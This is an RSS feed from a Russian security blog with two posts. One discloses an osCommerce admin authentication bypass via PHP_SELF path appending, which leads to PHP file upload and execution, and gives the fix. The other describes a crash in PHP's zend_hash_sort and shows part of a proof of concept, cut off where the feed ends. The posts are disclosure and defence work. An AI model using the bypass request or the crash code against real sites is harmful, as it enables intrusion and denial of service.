<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ars Longa, Vita Brevis &#187; уязвимость</title>
	<atom:link href="http://blog.sjinks.pro/tag/vulnerability/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Fri, 10 Sep 2010 16:40:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Серьёзная уязвимость в osCommerce 2.2 RC 2a</title>
		<link>http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/</link>
		<comments>http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 15:29:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[osCommerce]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=730</guid>
		<description><![CDATA[Возможность выполнения произвольного PHP-кода с правами web-сервера Сегодня один из моих клиентов пожаловался, что его online-магазин (на базе osCommerce) в очередной раз взломали и записали закодированный файл q_boot.php в каталог images. Хотя с osCommerce я сталкивался только один раз в жизни (подчищал вирус наподобие этого), меня этот случай очень заинтересовал: уязвимость, которая позволяет злоумышленнику залить [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Возможность выполнения произвольного PHP-кода с правами web-сервера</em></h2>
<p>Сегодня один из моих клиентов пожаловался, что его online-магазин (на базе osCommerce) в очередной раз взломали и записали закодированный файл <code>q_boot.php</code> в каталог <code>images</code>. Хотя с osCommerce я сталкивался только один раз в жизни (подчищал вирус наподобие <a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/">этого</a>), меня этот случай очень заинтересовал: уязвимость, которая позволяет злоумышленнику залить на сервер произвольный файл — это очень серьёзно.<span id="more-730"></span></p>
<p>Естественно, что от техподдержки клиента я не смог получить лог доступа к сайту (взломали неделю назад), чтобы посмотреть, с каких IP-адресов обращались к этому <code>images/q_boot.php</code> и проследить историю запросов. Это было бы слишком легко. Пришлось копаться в коде панели администрирования.</p>
<p>В частности, один из скриптов, который позволяет загружать файлы — это <code>admin/banner_manager.php</code>. Я начал с него, стал анализировать все включаемые файлы. Дыра нашлась за три минуты.</p>
<p>В <code>admin/includes/application_top.php</code> есть такой вот уязвимый код:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p7304">
        <div class="code php" id="p730code4">
<ol class="php" style="font-family:monospace;" start="132"><li class="li1"><div class="de1"><span class="co1">// redirect to login page if administrator is not yet logged in</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>tep_session_is_registered<span class="br0">&#40;</span><span class="st_h">'admin'</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$redirect</span> <span class="sy0">=</span> <span class="kw4">false</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re0">$current_page</span> <span class="sy0">=</span> <span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$PHP_SELF</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$current_page</span> <span class="sy0">!=</span> FILENAME_LOGIN<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>tep_session_is_registered<span class="br0">&#40;</span><span class="st_h">'redirect_origin'</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tep_session_register<span class="br0">&#40;</span><span class="st_h">'redirect_origin'</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$redirect_origin</span> <span class="sy0">=</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'page'</span> <span class="sy0">=&gt;</span> <span class="re0">$current_page</span><span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="st_h">'get'</span> <span class="sy0">=&gt;</span> <span class="re0">$HTTP_GET_VARS</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; <span class="re0">$redirect</span> <span class="sy0">=</span> <span class="kw4">true</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$redirect</span> <span class="sy0">==</span> <span class="kw4">true</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; tep_redirect<span class="br0">&#40;</span>tep_href_link<span class="br0">&#40;</span>FILENAME_LOGIN<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">unset</span><span class="br0">&#40;</span><span class="re0">$redirect</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="br0">&#125;</span></div></li>
</ol>
        </div>
    </div>
</div>

<p>Уязвимость не очевидна, если <a href="http://ua2.php.net/manual/en/reserved.variables.server.php">не знать разницу</a> между <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SCRIPT_NAME'</span><span class="br0">&#93;</span></code></span>, <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SCRIPT_FILENAME'</span><span class="br0">&#93;</span></code></span> и <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'PHP_SELF'</span><span class="br0">&#93;</span></code></span>.</p>
<p>В частности, <code>PHP_SELF</code> содержит</p>
<blockquote src="http://docs.php.net/manual/ru/reserved.variables.server.php">The filename of the currently executing script, relative to the document root. For instance, <code>$_SERVER['PHP_SELF']</code> in a script at the address <span class="codebox"><code class="text">http://example.com/test.php/foo.bar</code></span> would be <span class="codebox"><code class="text">/test.php/foo.bar</code></span>.</blockquote>
<p>Константа <code>FILENAME_LOGIN</code> определена как <code>login.php</code>.</p>
<p>Таким образом, обращение к <code>/admin/banner_manager.php/login.php</code> приведёт к тому, что в <span class="codebox"><code class="php"><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'PHP_SELF'</span><span class="br0">&#93;</span></code></span> будет <code>/admin/banner_manager.php/login.php</code>, исполняться будет <code>/admin/banner_manager.php</code>, а <span class="codebox"><code class="php"><span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'PHP_SELF'</span><span class="br0">&#93;</span><span class="br0">&#41;</span></code></span> будет — правильно, <code>login.php</code>. Условие в строке 138 <strong>не выполнится</strong>, и злоумышленник <strong>благополучно минует авторизацию</strong>.</p>
<p>Теперь эксплуатация уязвимости в картинках (изображения можно и нужно кликать):</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-1.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: Proof of Concept"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-1-300x230.png" alt="Демонстрация уязвимости osCommerce: Proof of Concept" title="Демонстрация уязвимости osCommerce: Proof of Concept" width="300" height="230" class="size-medium wp-image-731" /></a></p>
<p>Первый скриншот демонстрирует возможность обхода авторизации и получения доступа к скриптам панели администрирования.</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-2.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: изменение URL формы и загрузка PHP-файла"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-2-300x268.png" alt="Демонстрация уязвимости osCommerce: изменение URL формы и загрузка PHP-файла" title="Демонстрация уязвимости osCommerce: изменение URL формы и загрузка PHP-файла" width="300" height="268" class="size-medium wp-image-732" /></a></p>
<p>Второй скриншот демонстрирует изменение URL&#8217;а формы (при помощи FireBug) и загрузку PHP-файла.</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-3.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: тестовый PHP-файл успешно загружен"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-3-300x167.png" alt="Демонстрация уязвимости osCommerce: тестовый PHP-файл успешно загружен" title="Демонстрация уязвимости osCommerce: тестовый PHP-файл успешно загружен" width="300" height="167" class="size-medium wp-image-733" /></a></p>
<p>На третьем скриншоте мы видим, что файл был успешно загружен (хотя мы и были перенаправлены на форму авторизации). А ведь <a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/">все пользовательские данные нужно тщательно проверять</a>!</p>
<p><a href="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-4.png" rel="lightbox[730]" title="Демонстрация уязвимости osCommerce: загруженный PHP-файл можно выполнить"><img src="http://static.sjinks.info/wp-content/uploads/2009/12/oscommerce-vulnerability-4-300x91.png" alt="Демонстрация уязвимости osCommerce: загруженный PHP-файл можно выполнить" title="Демонстрация уязвимости osCommerce: загруженный PHP-файл можно выполнить" width="300" height="91" class="size-medium wp-image-734" /></a></p>
<p>На четвёртом скриншоте мы видим, что загруженный PHP-файл можно успешно выполнить <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Что и требовалось показать <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
</p>
<p><strong>Теперь о том, как это всё исправить.</strong></p>
<p>А исправляется всё очень просто: исправляем</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p7305">
        <div class="code php" id="p730code5">
<span class="re0">$current_page</span> <span class="sy0">=</span> <span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$PHP_SELF</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>на</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p7306">
        <div class="code php" id="p730code6">
<span class="re0">$current_page</span> <span class="sy0">=</span> <span class="kw3">basename</span><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'SCRIPT_NAME'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>А еще лучше — отказываемся от osCommerce в пользу чего-нибудь нормального, так как эта уязвимость — не единственная.</p>
<p>К слову, текущая Alpha osCommerce 3 тоже уязвима, только по-другому… Делайте выводы.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/" title="Как не нужно интегрировать платёжные системы (Ноябрь 21, 2008)">Как не нужно интегрировать платёжные системы</a> (8)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/730-severe-oscommerce-vulnerability/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Простой DoS для PHP</title>
		<link>http://blog.sjinks.pro/php/667-simple-dos-for-php/</link>
		<comments>http://blog.sjinks.pro/php/667-simple-dos-for-php/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 13:15:55 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[Zend Engine]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[ошибка]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=667</guid>
		<description><![CDATA[Очередная уязвимость в Zend Engine Копался сегодня во внутренностях PHP, и обнаружил такую вещь: функция zend_hash_sort() (она вызывается из функций типа usort() и прочих) сортирует не сам массив (в терминах Zend Engine), а массив (в терминах языка C) указателей на элементы массива (в терминах Zend Engine), а потом по отсортированному C-массиву пересоздаёт PHP-массив. ZEND_API int zend_hash_sort(HashTable [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/php/667-simple-dos-for-php/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Очередная уязвимость в Zend Engine</em></h2>
<p>Копался сегодня во внутренностях PHP, и обнаружил такую вещь: функция <span class="codebox"><code class="c">zend_hash_sort<span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> (она вызывается из функций типа <span class="codebox"><code class="php"><span class="kw3">usort</span><span class="br0">&#40;</span><span class="br0">&#41;</span></code></span> и прочих) сортирует не сам массив (в терминах Zend Engine), а массив (в терминах языка C) указателей на элементы массива (в терминах Zend Engine), а потом по отсортированному C-массиву пересоздаёт PHP-массив.<span id="more-667"></span></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p6679">
        <div class="code c" id="p667code9">
<ol class="c" style="font-family:monospace;"><li class="li1"><div class="de1">ZEND_API <span class="kw4">int</span> zend_hash_sort<span class="br0">&#40;</span>HashTable <span class="sy0">*</span>ht<span class="sy0">,</span> sort_func_t sort_func<span class="sy0">,</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; compare_func_t compar<span class="sy0">,</span> <span class="kw4">int</span> renumber TSRMLS_DC<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; Bucket <span class="sy0">**</span>arTmp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; Bucket <span class="sy0">*</span>p<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw4">int</span> i<span class="sy0">,</span> j<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; IS_CONSISTENT<span class="br0">&#40;</span>ht<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span><span class="br0">&#40;</span>ht<span class="sy0">-&gt;</span>nNumOfElements<span class="sy0">&gt;</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="sy0">&amp;&amp;</span> <span class="sy0">!</span><span class="br0">&#40;</span>renumber <span class="sy0">&amp;&amp;</span> ht<span class="sy0">-&gt;</span>nNumOfElements<span class="sy0">&gt;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="coMULTI">/* Doesn't require sorting */</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> SUCCESS<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; arTmp <span class="sy0">=</span> <span class="br0">&#40;</span>Bucket <span class="sy0">**</span><span class="br0">&#41;</span> pemalloc<span class="br0">&#40;</span>ht<span class="sy0">-&gt;</span>nNumOfElements <span class="sy0">*</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>Bucket <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">,</span> ht<span class="sy0">-&gt;</span>persistent<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span>arTmp<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> FAILURE<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; p <span class="sy0">=</span> ht<span class="sy0">-&gt;</span>pListHead<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>p<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">=</span> p<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; p <span class="sy0">=</span> p<span class="sy0">-&gt;</span>pListNext<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; i<span class="sy0">++;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#40;</span><span class="sy0">*</span>sort_func<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw4">void</span> <span class="sy0">*</span><span class="br0">&#41;</span> arTmp<span class="sy0">,</span> i<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>Bucket <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">,</span> compar TSRMLS_CC<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; HANDLE_BLOCK_INTERRUPTIONS<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pListHead <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pListTail <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pInternalPointer <span class="sy0">=</span> ht<span class="sy0">-&gt;</span>pListHead<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListLast <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>i <span class="sy0">&gt;</span> 1<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span>j <span class="sy0">=</span> <span class="nu0">1</span><span class="sy0">;</span> j <span class="sy0">&lt;</span> i<span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span> j<span class="sy0">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListLast <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>j<span class="sy0">-</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>j<span class="sy0">+</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListLast <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>j<span class="sy0">-</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; arTmp<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">-&gt;</span>pListNext <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; ht<span class="sy0">-&gt;</span>pListTail <span class="sy0">=</span> arTmp<span class="br0">&#91;</span>i<span class="sy0">-</span>1<span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; pefree<span class="br0">&#40;</span>arTmp<span class="sy0">,</span> ht<span class="sy0">-&gt;</span>persistent<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; HANDLE_UNBLOCK_INTERRUPTIONS<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>renumber<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; p <span class="sy0">=</span> ht<span class="sy0">-&gt;</span>pListHead<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; i<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span> <span class="br0">&#40;</span>p <span class="sy0">!=</span> NULL<span class="br0">&#41;</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p<span class="sy0">-&gt;</span>nKeyLength <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p<span class="sy0">-&gt;</span>h <span class="sy0">=</span> i<span class="sy0">++;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p <span class="sy0">=</span> p<span class="sy0">-&gt;</span>pListNext<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; ht<span class="sy0">-&gt;</span>nNextFreeElement <span class="sy0">=</span> i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; zend_hash_rehash<span class="br0">&#40;</span>ht<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> SUCCESS<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
</ol>
        </div>
    </div>
</div>

<p>Строка 13 (что само по себе символично) создаёт временный массив, достаточный для размещения указателей на все элементы массива, строки 17–23 заполняют этот временный массив указателями на элементы PHP-массива, строка 25 вызывает функцию сортировки, в строках 28–44 PHP-массив «пересоздается».</p>
<p>Что это даёт: если у нас имеется массив строк (массивов, объектов), а наша функция сортировки — о, ужас! — изменяет этот массив (например, удаляет из него элемент), а после сортировки производится обращение к этому элементу, то PHP вылетит по ошибке сегментации. Это является следствием того, что PHP-массив изменяется в процессе сортировки (из него удаляется элемент, а связанная с ним память освобождается), а C-массив содержит указатели на освобождённую память. При обращении к этой освобождённой памяти происходит ошибка сегментации.</p>
<p><strong>Proof of Concept:</strong></p>
          
<div class="codebox">
    <div class="the_code" style="" id="p66710">
        <div class="code php" id="p667code10">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw2">function</span> compare<span class="br0">&#40;</span><span class="re0">$a</span><span class="sy0">,</span> <span class="re0">$b</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">global</span> <span class="re0">$arr</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">isset</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">unset</span><span class="br0">&#40;</span><span class="re0">$arr</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
